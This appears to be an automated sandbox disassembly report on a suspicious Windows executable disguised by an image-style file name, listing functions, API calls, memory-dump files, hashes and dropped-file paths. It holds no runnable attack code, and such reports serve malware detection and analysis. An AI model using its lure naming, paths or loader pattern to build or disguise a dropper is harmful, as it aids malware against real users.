Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040412B), ref: 00404359

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b7efc8905e9f2a5b3d5d2c2477723ee0501502072c4fff85560e1a7fdf79de64
Instruction ID: b84ed7fd3cc5f3c3e9fcd53eb4babc11f88d3e7fa425116ebe2a9639eb74f9e6
Opcode Fuzzy Hash: b7efc8905e9f2a5b3d5d2c2477723ee0501502072c4fff85560e1a7fdf79de64
Instruction Fuzzy Hash: 28A00176505500AFCA12AB50EF1980ABB66ABA4741B818479A685601358B768831EB1B

Function 00401FA0 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004053D1: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
Part of subcall function 004053D1: lstrlenA.KERNEL32(004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
Part of subcall function 004053D1: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,004032C3,004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0), ref: 0040542D
Part of subcall function 004053D1: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll), ref: 0040543F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
Part of subcall function 004053D1: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

Part of subcall function 00405926: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042BC90,00431800,00431800,00431800,?,888,00000000), ref: 0040594F
Part of subcall function 00405926: CloseHandle.KERNEL32(?), ref: 0040595C

CloseHandle.KERNELBASE(?,?,?,?,?,?), ref: 00401FE5

Part of subcall function 0040672A: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040673B
Part of subcall function 0040672A: GetExitCodeProcess.KERNEL32(?,?), ref: 0040675D

Part of subcall function 004061EB: wsprintfA.USER32 ref: 004061F8

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 454ea4004c7b636409d34e166e2968104a6dcee143e6bdf8ca8e7598c6747e23
Instruction ID: 2907458289dc89520fdc1db2e5a40f60bb15031deda838765eaf0f6b46983df9
Opcode Fuzzy Hash: 454ea4004c7b636409d34e166e2968104a6dcee143e6bdf8ca8e7598c6747e23
Instruction Fuzzy Hash: 0EF05B31905112DBCF20ABA55D849EF71E4DB0135CB11413FF501F21D2D7BC4A46DAAE

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1086b86eff6ccb0646e334d3d3a43b9eec11b9d4dc04b4a1abbda41f1d779818
Instruction ID: 2b610f9d6ca2559d84a6cccd890523da06de060bf9d54f72eb9b50da0c514afd
Opcode Fuzzy Hash: 1086b86eff6ccb0646e334d3d3a43b9eec11b9d4dc04b4a1abbda41f1d779818
Instruction Fuzzy Hash: 1CD05E73B142009BDB60DBB8BEC445F73E4E7403257304837E502E2092E5788946861C

Non-executed Functions

Function 004047BF Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040480E
SetWindowTextA.USER32(00000000,?), ref: 00404838
SHBrowseForFolderA.SHELL32(?,00429860,?), ref: 004048E9
CoTaskMemFree.OLE32(00000000), ref: 004048F4
lstrcmpiA.KERNEL32(0042DFC0,0042A488), ref: 00404926
lstrcatA.KERNEL32(?,0042DFC0), ref: 00404932
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404944

Part of subcall function 00405987: GetDlgItemTextA.USER32(?,?,00000400,0040497B), ref: 0040599A

Part of subcall function 00406587: CharNextA.USER32(0000000C,*?|<>/":,00000000,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065DF
Part of subcall function 00406587: CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065EC
Part of subcall function 00406587: CharNextA.USER32(0000000C,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065F1
Part of subcall function 00406587: CharPrevA.USER32(0000000C,0000000C,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 00406601

GetDiskFreeSpaceA.KERNEL32(00429458,?,?,0000040F,?,00429458,00429458,?,00000001,00429458,?,?,000003FB,?), ref: 00404A02
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404A1D

Part of subcall function 00404B76: lstrlenA.KERNEL32(0042A488,0042A488,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A91,000000DF,00000000,00000400,?), ref: 00404C14
Part of subcall function 00404B76: wsprintfA.USER32 ref: 00404C1C
Part of subcall function 00404B76: SetDlgItemTextA.USER32(?,0042A488), ref: 00404C2F

Strings

A, xrefs: 004048E2
C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 0040490F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate
API String ID: 2624150263-2737355476
Opcode ID: 0a9a22de57e54a42c41f7f9c473854a5632b4b75f318642da20d5b1a73d2513c
Instruction ID: f53f9ae5ebeaccab956e1b2ad526c51027fc30446c854342799b5ba7b8d0bc76
Opcode Fuzzy Hash: 0a9a22de57e54a42c41f7f9c473854a5632b4b75f318642da20d5b1a73d2513c
Instruction Fuzzy Hash: BAA172F1A00209ABDB11AFA5CD45AAF76B8EF84314F14807BF611B62D1D77C89418F6D

Function 6E331B28 Relevance: 20.1, APIs: 13, Instructions: 591stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E3312A5: GlobalAlloc.KERNEL32(00000040,6E3312C3,?,6E33135F,-6E33504B,6E3311C0,-000000A0), ref: 6E3312AD

GlobalAlloc.KERNEL32(00000040,000014A4), ref: 6E331C54
lstrcpyA.KERNEL32(00000008,?), ref: 6E331C9C
lstrcpyA.KERNEL32(00000408,?), ref: 6E331CA6
GlobalFree.KERNEL32(00000000), ref: 6E331CB9
GlobalFree.KERNEL32(?), ref: 6E331D99
GlobalFree.KERNEL32(?), ref: 6E331D9E
GlobalFree.KERNEL32(?), ref: 6E331DA3
GlobalFree.KERNEL32(00000000), ref: 6E331F8A
lstrcpyA.KERNEL32(?,?), ref: 6E332128
GetModuleHandleA.KERNEL32(00000008), ref: 6E3321A4
LoadLibraryA.KERNEL32(00000008), ref: 6E3321B5
GetProcAddress.KERNEL32(?,?), ref: 6E33220E
lstrlenA.KERNEL32(00000408), ref: 6E332228

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 3fda07ff75f31c8923bed2b00ce74a214418530e2bd8fa761dac4d46121aa3d4
Instruction ID: 430543c75eff79c1c0d2a2541163112a8d78352068d7d8b859768e0a71191e7a
Opcode Fuzzy Hash: 3fda07ff75f31c8923bed2b00ce74a214418530e2bd8fa761dac4d46121aa3d4
Instruction Fuzzy Hash: E622C071D146AADEDB908FE8C990BEDBBF8BB06305F30856ED1A1E3180C7755549CB90

Function 00402198 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040851C,?,00000001,0040850C,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040221D
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,0040850C,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004022CF

Strings

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 0040225D

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate
API String ID: 123533781-1124611765
Opcode ID: 26e4af273d4ad834d7dd4ca4c27adc144b69110a5e0929a66cb48c7bfc0a4cbf
Instruction ID: 9693176738af107330769ac86e8646dde0b712c02a361864b0ed1875b7ced88a
Opcode Fuzzy Hash: 26e4af273d4ad834d7dd4ca4c27adc144b69110a5e0929a66cb48c7bfc0a4cbf
Instruction Fuzzy Hash: DB511971A00208AFDF00EFA4CA88A9D7BB5FF48314F2045BAF505FB2D1DA799981CB54

Function 004027CF Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 004027DE

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 930922f26d5cdd011eb09c6a8250f7f43846b17323c9774391e4e916de6dacb1
Instruction ID: 474e59c826447b87e47a37c01b73ad662870a85b7ff57bc711f4e8679485c19e
Opcode Fuzzy Hash: 930922f26d5cdd011eb09c6a8250f7f43846b17323c9774391e4e916de6dacb1
Instruction Fuzzy Hash: 9CF0A771605110DFDB51EBA49E49AEE77689F21314F6005BBE141F20C2C6B889469B2E

Function 00406AFA Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1aee8a5b3a43351eb0af44d038224c2164fb65a2c69693e5a9d071f73749d8
Instruction ID: 8768c5d39ca9d5d04b1d74764d0b3cf6a08d2071900a395e822ff8491b177041
Opcode Fuzzy Hash: aa1aee8a5b3a43351eb0af44d038224c2164fb65a2c69693e5a9d071f73749d8
Instruction Fuzzy Hash: D0E18B7190470ACFDB24CF58C880BAAB7F1FB44305F15842EE497A72D1E738AA95CB14

Function 004072D1 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4d4038b428717fbb616dadee5392a57e0a8d9c6ebddc8936aa8167a04c56aa
Instruction ID: 112ec8b08e22b9c6c3aeb56eb94a2e19ac2cef272eed527e1014fed5102c6f46
Opcode Fuzzy Hash: 8d4d4038b428717fbb616dadee5392a57e0a8d9c6ebddc8936aa8167a04c56aa
Instruction Fuzzy Hash: 33C13631E04219DBCF18CF68D8905EEBBB2BF98314F25866AD85677380D734A942CF95

Function 00404D32 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 491windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404D49
GetDlgItem.USER32(?,00000408), ref: 00404D56
GlobalAlloc.KERNEL32(00000040,?), ref: 00404DA5
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404DBC
SetWindowLongA.USER32(?,000000FC,00405345), ref: 00404DD6
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404DE8
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404DFC
SendMessageA.USER32(?,00001109,00000002), ref: 00404E12
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404E1E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404E2E
DeleteObject.GDI32(00000110), ref: 00404E33
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404E5E
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404E6A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404F04
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404F34

Part of subcall function 00404362: SendMessageA.USER32(00000028,?,00000001,00404192), ref: 00404370

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404F48
GetWindowLongA.USER32(?,000000F0), ref: 00404F76
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404F84
ShowWindow.USER32(?,00000005), ref: 00404F94
SendMessageA.USER32(?,00000419,00000000,?), ref: 0040508F
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 004050F4
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00405109
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 0040512D
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 0040514D
ImageList_Destroy.COMCTL32(?), ref: 00405162
GlobalFree.KERNEL32(?), ref: 00405172
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004051EB
SendMessageA.USER32(?,00001102,?,?), ref: 00405294
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 004052A3
InvalidateRect.USER32(?,00000000,00000001), ref: 004052CE
ShowWindow.USER32(?,00000000), ref: 0040531C
GetDlgItem.USER32(?,000003FE), ref: 00405327
ShowWindow.USER32(00000000), ref: 0040532E

Strings

M, xrefs: 00404EEC
N, xrefs: 00404FCD
, xrefs: 00405306

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 4df1eefe35e68a6c7fa34c5b60be6288f9ea88f6771e326f729b6c61956ac8d6
Instruction ID: b1cb089e499fd84ad02b8b6dcb50706d58213328e80d7969948961eab3192630
Opcode Fuzzy Hash: 4df1eefe35e68a6c7fa34c5b60be6288f9ea88f6771e326f729b6c61956ac8d6
Instruction Fuzzy Hash: B1027DB0A00609AFDF209F94DD45AAE7BB5FB44354F50817AFA10BA2E1C7789D42CF58

Function 00404498 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404523
GetDlgItem.USER32(00000000,000003E8), ref: 00404537
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404555
GetSysColor.USER32(?), ref: 00404566
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404575
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404584
lstrlenA.KERNEL32(?), ref: 00404587
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404596
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004045AB
GetDlgItem.USER32(?,0000040A), ref: 0040460D
SendMessageA.USER32(00000000), ref: 00404610
GetDlgItem.USER32(?,000003E8), ref: 0040463B
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040467B
LoadCursorA.USER32(00000000,00007F02), ref: 0040468A
SetCursor.USER32(00000000), ref: 00404693
LoadCursorA.USER32(00000000,00007F00), ref: 004046A9
SetCursor.USER32(00000000), ref: 004046AC
SendMessageA.USER32(00000111,00000001,00000000), ref: 004046D8
SendMessageA.USER32(00000010,00000000,00000000), ref: 004046EC

Strings

N, xrefs: 00404629
cD@, xrefs: 00404697

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$cD@
API String ID: 3103080414-2800326580
Opcode ID: 0d552c78708d8b6c3e6a9e133e2a55d80eb6ec1b6100387134d0e82e0d806a6f
Instruction ID: 43684ccacc2d8fb7b4e0a1eb44f66cc69a0b9750f41782283b4d1566cbdab7d9
Opcode Fuzzy Hash: 0d552c78708d8b6c3e6a9e133e2a55d80eb6ec1b6100387134d0e82e0d806a6f
Instruction Fuzzy Hash: 106193B1A00209BBDB109F61DD45F6A3BA9FB84754F10443AFB057B1D1C7B8A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,0042E820,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 036095489b744d328a0284f3af7f80ab3f3a11b0609df675fc3b160fbcb80c66
Instruction ID: 3ddd31971ff36fa992edb7b0d2f538087f25d398410520a6441e316a3758f4e4
Opcode Fuzzy Hash: 036095489b744d328a0284f3af7f80ab3f3a11b0609df675fc3b160fbcb80c66
Instruction Fuzzy Hash: 2E419C71800209AFCB059F95CE459BFBBB9FF44314F00842EF591AA1A0CB349955DFA4

Function 00405EF6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00406087,?,?), ref: 00405F27
